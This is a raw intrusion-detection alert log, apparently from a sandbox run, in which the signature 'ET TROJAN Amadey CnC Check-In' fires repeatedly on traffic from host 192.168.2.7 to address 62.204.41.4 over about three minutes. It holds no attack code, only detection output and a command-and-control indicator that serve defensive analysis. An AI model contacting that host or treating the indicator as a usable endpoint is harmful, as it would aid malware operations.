192.168.2.762.204.41.450090802027700 02/07/23-23:08:48.540226	TCP	2027700	ET TROJAN Amadey CnC Check-In	50090	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449973802027700 02/07/23-23:08:16.792891	TCP	2027700	ET TROJAN Amadey CnC Check-In	49973	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450311802027700 02/07/23-23:09:47.562395	TCP	2027700	ET TROJAN Amadey CnC Check-In	50311	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450396802027700 02/07/23-23:10:08.320217	TCP	2027700	ET TROJAN Amadey CnC Check-In	50396	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449884802027700 02/07/23-23:07:50.864770	TCP	2027700	ET TROJAN Amadey CnC Check-In	49884	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450044802027700 02/07/23-23:08:37.214832	TCP	2027700	ET TROJAN Amadey CnC Check-In	50044	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450222802027700 02/07/23-23:09:23.463165	TCP	2027700	ET TROJAN Amadey CnC Check-In	50222	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450133802027700 02/07/23-23:08:59.557977	TCP	2027700	ET TROJAN Amadey CnC Check-In	50133	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449795802027700 02/07/23-23:07:27.539097	TCP	2027700	ET TROJAN Amadey CnC Check-In	49795	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449838802027700 02/07/23-23:07:39.576743	TCP	2027700	ET TROJAN Amadey CnC Check-In	49838	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450406802027700 02/07/23-23:10:10.747493	TCP	2027700	ET TROJAN Amadey CnC Check-In	50406	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449927802027700 02/07/23-23:08:04.272110	TCP	2027700	ET TROJAN Amadey CnC Check-In	49927	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450317802027700 02/07/23-23:09:49.028783	TCP	2027700	ET TROJAN Amadey CnC Check-In	50317	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449726802027700 02/07/23-23:07:09.303743	TCP	2027700	ET TROJAN Amadey CnC Check-In	49726	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449720802027700 02/07/23-23:07:07.869855	TCP	2027700	ET TROJAN Amadey CnC Check-In	49720	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450475802027700 02/07/23-23:10:29.511990	TCP	2027700	ET TROJAN Amadey CnC Check-In	50475	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450149802027700 02/07/23-23:09:03.555507	TCP	2027700	ET TROJAN Amadey CnC Check-In	50149	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450238802027700 02/07/23-23:09:28.505872	TCP	2027700	ET TROJAN Amadey CnC Check-In	50238	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449749802027700 02/07/23-23:07:14.642908	TCP	2027700	ET TROJAN Amadey CnC Check-In	49749	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449904802027700 02/07/23-23:07:57.181548	TCP	2027700	ET TROJAN Amadey CnC Check-In	49904	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450380802027700 02/07/23-23:10:04.421525	TCP	2027700	ET TROJAN Amadey CnC Check-In	50380	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449815802027700 02/07/23-23:07:32.330392	TCP	2027700	ET TROJAN Amadey CnC Check-In	49815	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450327802027700 02/07/23-23:09:51.514149	TCP	2027700	ET TROJAN Amadey CnC Check-In	50327	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450429802027700 02/07/23-23:10:17.103178	TCP	2027700	ET TROJAN Amadey CnC Check-In	50429	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450291802027700 02/07/23-23:09:42.607617	TCP	2027700	ET TROJAN Amadey CnC Check-In	50291	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450297802027700 02/07/23-23:09:44.097128	TCP	2027700	ET TROJAN Amadey CnC Check-In	50297	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450400802027700 02/07/23-23:10:09.283191	TCP	2027700	ET TROJAN Amadey CnC Check-In	50400	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449822802027700 02/07/23-23:07:34.022866	TCP	2027700	ET TROJAN Amadey CnC Check-In	49822	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450386802027700 02/07/23-23:10:05.891433	TCP	2027700	ET TROJAN Amadey CnC Check-In	50386	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449911802027700 02/07/23-23:08:00.309877	TCP	2027700	ET TROJAN Amadey CnC Check-In	49911	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449736802027700 02/07/23-23:07:11.796309	TCP	2027700	ET TROJAN Amadey CnC Check-In	49736	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449996802027700 02/07/23-23:08:23.620454	TCP	2027700	ET TROJAN Amadey CnC Check-In	49996	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449825802027700 02/07/23-23:07:34.754203	TCP	2027700	ET TROJAN Amadey CnC Check-In	49825	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450110802027700 02/07/23-23:08:53.827948	TCP	2027700	ET TROJAN Amadey CnC Check-In	50110	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449917802027700 02/07/23-23:08:01.811545	TCP	2027700	ET TROJAN Amadey CnC Check-In	49917	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449739802027700 02/07/23-23:07:12.501529	TCP	2027700	ET TROJAN Amadey CnC Check-In	49739	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450370802027700 02/07/23-23:10:02.050258	TCP	2027700	ET TROJAN Amadey CnC Check-In	50370	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449999802027700 02/07/23-23:08:24.351919	TCP	2027700	ET TROJAN Amadey CnC Check-In	49999	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449828802027700 02/07/23-23:07:35.504498	TCP	2027700	ET TROJAN Amadey CnC Check-In	49828	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450416802027700 02/07/23-23:10:13.181627	TCP	2027700	ET TROJAN Amadey CnC Check-In	50416	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450281802027700 02/07/23-23:09:40.172674	TCP	2027700	ET TROJAN Amadey CnC Check-In	50281	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450192802027700 02/07/23-23:09:16.124888	TCP	2027700	ET TROJAN Amadey CnC Check-In	50192	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450021802027700 02/07/23-23:08:29.768912	TCP	2027700	ET TROJAN Amadey CnC Check-In	50021	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449901802027700 02/07/23-23:07:55.355595	TCP	2027700	ET TROJAN Amadey CnC Check-In	49901	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449723802027700 02/07/23-23:07:08.598238	TCP	2027700	ET TROJAN Amadey CnC Check-In	49723	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450212802027700 02/07/23-23:09:21.026369	TCP	2027700	ET TROJAN Amadey CnC Check-In	50212	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449983802027700 02/07/23-23:08:20.411480	TCP	2027700	ET TROJAN Amadey CnC Check-In	49983	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450123802027700 02/07/23-23:08:57.096759	TCP	2027700	ET TROJAN Amadey CnC Check-In	50123	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449812802027700 02/07/23-23:07:31.595526	TCP	2027700	ET TROJAN Amadey CnC Check-In	49812	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450383802027700 02/07/23-23:10:05.178762	TCP	2027700	ET TROJAN Amadey CnC Check-In	50383	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449894802027700 02/07/23-23:07:53.270341	TCP	2027700	ET TROJAN Amadey CnC Check-In	49894	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450301802027700 02/07/23-23:09:45.082072	TCP	2027700	ET TROJAN Amadey CnC Check-In	50301	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450472802027700 02/07/23-23:10:28.781018	TCP	2027700	ET TROJAN Amadey CnC Check-In	50472	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450419802027700 02/07/23-23:10:13.897365	TCP	2027700	ET TROJAN Amadey CnC Check-In	50419	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449914802027700 02/07/23-23:08:01.055769	TCP	2027700	ET TROJAN Amadey CnC Check-In	49914	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450294802027700 02/07/23-23:09:43.344390	TCP	2027700	ET TROJAN Amadey CnC Check-In	50294	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450034802027700 02/07/23-23:08:32.903823	TCP	2027700	ET TROJAN Amadey CnC Check-In	50034	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450329802027700 02/07/23-23:09:52.020233	TCP	2027700	ET TROJAN Amadey CnC Check-In	50329	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449906802027700 02/07/23-23:07:58.951742	TCP	2027700	ET TROJAN Amadey CnC Check-In	49906	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450295802027700 02/07/23-23:09:43.610527	TCP	2027700	ET TROJAN Amadey CnC Check-In	50295	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450099802027700 02/07/23-23:08:50.963558	TCP	2027700	ET TROJAN Amadey CnC Check-In	50099	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449872802027700 02/07/23-23:07:47.908431	TCP	2027700	ET TROJAN Amadey CnC Check-In	49872	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450038802027700 02/07/23-23:08:34.135275	TCP	2027700	ET TROJAN Amadey CnC Check-In	50038	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450234802027700 02/07/23-23:09:26.686624	TCP	2027700	ET TROJAN Amadey CnC Check-In	50234	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450430802027700 02/07/23-23:10:18.142734	TCP	2027700	ET TROJAN Amadey CnC Check-In	50430	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449811802027700 02/07/23-23:07:31.352080	TCP	2027700	ET TROJAN Amadey CnC Check-In	49811	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449967802027700 02/07/23-23:08:14.132869	TCP	2027700	ET TROJAN Amadey CnC Check-In	49967	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450172802027700 02/07/23-23:09:11.243219	TCP	2027700	ET TROJAN Amadey CnC Check-In	50172	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449844802027700 02/07/23-23:07:41.013550	TCP	2027700	ET TROJAN Amadey CnC Check-In	49844	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449939802027700 02/07/23-23:08:07.214342	TCP	2027700	ET TROJAN Amadey CnC Check-In	49939	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450066802027700 02/07/23-23:08:42.558660	TCP	2027700	ET TROJAN Amadey CnC Check-In	50066	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450267802027700 02/07/23-23:09:36.717040	TCP	2027700	ET TROJAN Amadey CnC Check-In	50267	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450463802027700 02/07/23-23:10:26.545692	TCP	2027700	ET TROJAN Amadey CnC Check-In	50463	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449816802027700 02/07/23-23:07:32.564007	TCP	2027700	ET TROJAN Amadey CnC Check-In	49816	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450144802027700 02/07/23-23:09:02.280526	TCP	2027700	ET TROJAN Amadey CnC Check-In	50144	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450239802027700 02/07/23-23:09:29.333776	TCP	2027700	ET TROJAN Amadey CnC Check-In	50239	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449934802027700 02/07/23-23:08:05.990363	TCP	2027700	ET TROJAN Amadey CnC Check-In	49934	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450262802027700 02/07/23-23:09:35.513958	TCP	2027700	ET TROJAN Amadey CnC Check-In	50262	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449738802027700 02/07/23-23:07:12.270875	TCP	2027700	ET TROJAN Amadey CnC Check-In	49738	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450357802027700 02/07/23-23:09:58.872294	TCP	2027700	ET TROJAN Amadey CnC Check-In	50357	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450340802027700 02/07/23-23:09:54.719055	TCP	2027700	ET TROJAN Amadey CnC Check-In	50340	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449721802027700 02/07/23-23:07:08.117512	TCP	2027700	ET TROJAN Amadey CnC Check-In	49721	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449990802027700 02/07/23-23:08:22.153608	TCP	2027700	ET TROJAN Amadey CnC Check-In	49990	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450352802027700 02/07/23-23:09:57.641139	TCP	2027700	ET TROJAN Amadey CnC Check-In	50352	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449733802027700 02/07/23-23:07:11.073843	TCP	2027700	ET TROJAN Amadey CnC Check-In	49733	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450000802027700 02/07/23-23:08:24.592012	TCP	2027700	ET TROJAN Amadey CnC Check-In	50000	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450407802027700 02/07/23-23:10:11.016581	TCP	2027700	ET TROJAN Amadey CnC Check-In	50407	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450082802027700 02/07/23-23:08:46.560439	TCP	2027700	ET TROJAN Amadey CnC Check-In	50082	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449782802027700 02/07/23-23:07:24.432492	TCP	2027700	ET TROJAN Amadey CnC Check-In	49782	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450435802027700 02/07/23-23:10:19.733664	TCP	2027700	ET TROJAN Amadey CnC Check-In	50435	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449754802027700 02/07/23-23:07:15.855344	TCP	2027700	ET TROJAN Amadey CnC Check-In	49754	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449705802027700 02/07/23-23:07:04.226733	TCP	2027700	ET TROJAN Amadey CnC Check-In	49705	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450324802027700 02/07/23-23:09:50.786571	TCP	2027700	ET TROJAN Amadey CnC Check-In	50324	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450290802027700 02/07/23-23:09:42.372267	TCP	2027700	ET TROJAN Amadey CnC Check-In	50290	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450373802027700 02/07/23-23:10:02.763122	TCP	2027700	ET TROJAN Amadey CnC Check-In	50373	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450116802027700 02/07/23-23:08:55.305221	TCP	2027700	ET TROJAN Amadey CnC Check-In	50116	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449962802027700 02/07/23-23:08:12.926371	TCP	2027700	ET TROJAN Amadey CnC Check-In	49962	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450033802027700 02/07/23-23:08:32.657521	TCP	2027700	ET TROJAN Amadey CnC Check-In	50033	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450189802027700 02/07/23-23:09:15.358033	TCP	2027700	ET TROJAN Amadey CnC Check-In	50189	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449787802027700 02/07/23-23:07:25.659773	TCP	2027700	ET TROJAN Amadey CnC Check-In	49787	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450218802027700 02/07/23-23:09:22.479535	TCP	2027700	ET TROJAN Amadey CnC Check-In	50218	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450402802027700 02/07/23-23:10:09.761332	TCP	2027700	ET TROJAN Amadey CnC Check-In	50402	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449995802027700 02/07/23-23:08:23.383016	TCP	2027700	ET TROJAN Amadey CnC Check-In	49995	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450111802027700 02/07/23-23:08:54.086078	TCP	2027700	ET TROJAN Amadey CnC Check-In	50111	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449700802027700 02/07/23-23:07:03.031561	TCP	2027700	ET TROJAN Amadey CnC Check-In	49700	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449759802027700 02/07/23-23:07:17.049971	TCP	2027700	ET TROJAN Amadey CnC Check-In	49759	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449889802027700 02/07/23-23:07:52.061130	TCP	2027700	ET TROJAN Amadey CnC Check-In	49889	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450005802027700 02/07/23-23:08:25.803187	TCP	2027700	ET TROJAN Amadey CnC Check-In	50005	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450087802027700 02/07/23-23:08:47.809633	TCP	2027700	ET TROJAN Amadey CnC Check-In	50087	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450378802027700 02/07/23-23:10:03.940156	TCP	2027700	ET TROJAN Amadey CnC Check-In	50378	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450026802027700 02/07/23-23:08:30.966267	TCP	2027700	ET TROJAN Amadey CnC Check-In	50026	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449988802027700 02/07/23-23:08:21.653564	TCP	2027700	ET TROJAN Amadey CnC Check-In	49988	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450255802027700 02/07/23-23:09:33.778377	TCP	2027700	ET TROJAN Amadey CnC Check-In	50255	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449823802027700 02/07/23-23:07:34.268183	TCP	2027700	ET TROJAN Amadey CnC Check-In	49823	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449979802027700 02/07/23-23:08:19.443584	TCP	2027700	ET TROJAN Amadey CnC Check-In	49979	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450451802027700 02/07/23-23:10:23.598729	TCP	2027700	ET TROJAN Amadey CnC Check-In	50451	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449832802027700 02/07/23-23:07:36.602000	TCP	2027700	ET TROJAN Amadey CnC Check-In	49832	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450246802027700 02/07/23-23:09:31.574488	TCP	2027700	ET TROJAN Amadey CnC Check-In	50246	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450442802027700 02/07/23-23:10:21.434131	TCP	2027700	ET TROJAN Amadey CnC Check-In	50442	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450054802027700 02/07/23-23:08:39.617227	TCP	2027700	ET TROJAN Amadey CnC Check-In	50054	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450184802027700 02/07/23-23:09:14.118143	TCP	2027700	ET TROJAN Amadey CnC Check-In	50184	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450397802027700 02/07/23-23:10:08.575838	TCP	2027700	ET TROJAN Amadey CnC Check-In	50397	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449893802027700 02/07/23-23:07:53.025577	TCP	2027700	ET TROJAN Amadey CnC Check-In	49893	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449922802027700 02/07/23-23:08:03.022275	TCP	2027700	ET TROJAN Amadey CnC Check-In	49922	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450369802027700 02/07/23-23:10:01.812383	TCP	2027700	ET TROJAN Amadey CnC Check-In	50369	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450470802027700 02/07/23-23:10:28.297773	TCP	2027700	ET TROJAN Amadey CnC Check-In	50470	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449851802027700 02/07/23-23:07:42.712679	TCP	2027700	ET TROJAN Amadey CnC Check-In	49851	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449804802027700 02/07/23-23:07:29.696240	TCP	2027700	ET TROJAN Amadey CnC Check-In	49804	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450227802027700 02/07/23-23:09:24.691350	TCP	2027700	ET TROJAN Amadey CnC Check-In	50227	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450423802027700 02/07/23-23:10:14.904732	TCP	2027700	ET TROJAN Amadey CnC Check-In	50423	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450061802027700 02/07/23-23:08:41.341687	TCP	2027700	ET TROJAN Amadey CnC Check-In	50061	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450274802027700 02/07/23-23:09:38.463286	TCP	2027700	ET TROJAN Amadey CnC Check-In	50274	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450070802027700 02/07/23-23:08:43.541726	TCP	2027700	ET TROJAN Amadey CnC Check-In	50070	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449794802027700 02/07/23-23:07:27.299792	TCP	2027700	ET TROJAN Amadey CnC Check-In	49794	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450073802027700 02/07/23-23:08:44.306614	TCP	2027700	ET TROJAN Amadey CnC Check-In	50073	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450156802027700 02/07/23-23:09:05.211996	TCP	2027700	ET TROJAN Amadey CnC Check-In	50156	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449950802027700 02/07/23-23:08:09.942679	TCP	2027700	ET TROJAN Amadey CnC Check-In	49950	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449766802027700 02/07/23-23:07:19.651200	TCP	2027700	ET TROJAN Amadey CnC Check-In	49766	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450128802027700 02/07/23-23:08:58.335870	TCP	2027700	ET TROJAN Amadey CnC Check-In	50128	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449775802027700 02/07/23-23:07:22.751531	TCP	2027700	ET TROJAN Amadey CnC Check-In	49775	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450468802027700 02/07/23-23:10:27.766831	TCP	2027700	ET TROJAN Amadey CnC Check-In	50468	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449849802027700 02/07/23-23:07:42.221380	TCP	2027700	ET TROJAN Amadey CnC Check-In	49849	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450042802027700 02/07/23-23:08:36.263611	TCP	2027700	ET TROJAN Amadey CnC Check-In	50042	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450394802027700 02/07/23-23:10:07.826263	TCP	2027700	ET TROJAN Amadey CnC Check-In	50394	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450312802027700 02/07/23-23:09:47.795938	TCP	2027700	ET TROJAN Amadey CnC Check-In	50312	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450385802027700 02/07/23-23:10:05.658909	TCP	2027700	ET TROJAN Amadey CnC Check-In	50385	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450303802027700 02/07/23-23:09:45.572466	TCP	2027700	ET TROJAN Amadey CnC Check-In	50303	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450045802027700 02/07/23-23:08:37.461652	TCP	2027700	ET TROJAN Amadey CnC Check-In	50045	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450017802027700 02/07/23-23:08:28.743485	TCP	2027700	ET TROJAN Amadey CnC Check-In	50017	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450366802027700 02/07/23-23:10:01.065650	TCP	2027700	ET TROJAN Amadey CnC Check-In	50366	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449747802027700 02/07/23-23:07:14.171173	TCP	2027700	ET TROJAN Amadey CnC Check-In	49747	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449877802027700 02/07/23-23:07:49.111852	TCP	2027700	ET TROJAN Amadey CnC Check-In	49877	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449712802027700 02/07/23-23:07:05.940453	TCP	2027700	ET TROJAN Amadey CnC Check-In	49712	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450283802027700 02/07/23-23:09:40.653335	TCP	2027700	ET TROJAN Amadey CnC Check-In	50283	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450414802027700 02/07/23-23:10:12.687095	TCP	2027700	ET TROJAN Amadey CnC Check-In	50414	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450201802027700 02/07/23-23:09:18.336544	TCP	2027700	ET TROJAN Amadey CnC Check-In	50201	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450331802027700 02/07/23-23:09:52.497858	TCP	2027700	ET TROJAN Amadey CnC Check-In	50331	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449896802027700 02/07/23-23:07:53.775433	TCP	2027700	ET TROJAN Amadey CnC Check-In	49896	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449915802027700 02/07/23-23:08:01.310915	TCP	2027700	ET TROJAN Amadey CnC Check-In	49915	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450163802027700 02/07/23-23:09:06.937703	TCP	2027700	ET TROJAN Amadey CnC Check-In	50163	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449714802027700 02/07/23-23:07:06.440544	TCP	2027700	ET TROJAN Amadey CnC Check-In	49714	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449910802027700 02/07/23-23:08:00.070255	TCP	2027700	ET TROJAN Amadey CnC Check-In	49910	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449809802027700 02/07/23-23:07:30.882146	TCP	2027700	ET TROJAN Amadey CnC Check-In	49809	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450196802027700 02/07/23-23:09:17.107942	TCP	2027700	ET TROJAN Amadey CnC Check-In	50196	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450109802027700 02/07/23-23:08:53.586754	TCP	2027700	ET TROJAN Amadey CnC Check-In	50109	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449773802027700 02/07/23-23:07:22.191273	TCP	2027700	ET TROJAN Amadey CnC Check-In	49773	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450137802027700 02/07/23-23:09:00.524989	TCP	2027700	ET TROJAN Amadey CnC Check-In	50137	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450333802027700 02/07/23-23:09:52.974040	TCP	2027700	ET TROJAN Amadey CnC Check-In	50333	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450305802027700 02/07/23-23:09:46.051156	TCP	2027700	ET TROJAN Amadey CnC Check-In	50305	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450392802027700 02/07/23-23:10:07.350927	TCP	2027700	ET TROJAN Amadey CnC Check-In	50392	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450210802027700 02/07/23-23:09:20.545993	TCP	2027700	ET TROJAN Amadey CnC Check-In	50210	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449868802027700 02/07/23-23:07:46.881014	TCP	2027700	ET TROJAN Amadey CnC Check-In	49868	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450428802027700 02/07/23-23:10:16.360693	TCP	2027700	ET TROJAN Amadey CnC Check-In	50428	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450191802027700 02/07/23-23:09:15.842999	TCP	2027700	ET TROJAN Amadey CnC Check-In	50191	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449837802027700 02/07/23-23:07:38.971375	TCP	2027700	ET TROJAN Amadey CnC Check-In	49837	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450168802027700 02/07/23-23:09:09.197666	TCP	2027700	ET TROJAN Amadey CnC Check-In	50168	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450165802027700 02/07/23-23:09:07.791157	TCP	2027700	ET TROJAN Amadey CnC Check-In	50165	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450456802027700 02/07/23-23:10:24.827371	TCP	2027700	ET TROJAN Amadey CnC Check-In	50456	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450300802027700 02/07/23-23:09:44.841607	TCP	2027700	ET TROJAN Amadey CnC Check-In	50300	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449898802027700 02/07/23-23:07:54.273097	TCP	2027700	ET TROJAN Amadey CnC Check-In	49898	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449981802027700 02/07/23-23:08:19.921142	TCP	2027700	ET TROJAN Amadey CnC Check-In	49981	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449941802027700 02/07/23-23:08:07.714681	TCP	2027700	ET TROJAN Amadey CnC Check-In	49941	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450030802027700 02/07/23-23:08:31.914466	TCP	2027700	ET TROJAN Amadey CnC Check-In	50030	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450382802027700 02/07/23-23:10:04.927710	TCP	2027700	ET TROJAN Amadey CnC Check-In	50382	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449763802027700 02/07/23-23:07:18.271872	TCP	2027700	ET TROJAN Amadey CnC Check-In	49763	80	192.168.2.7	62.204.41.4
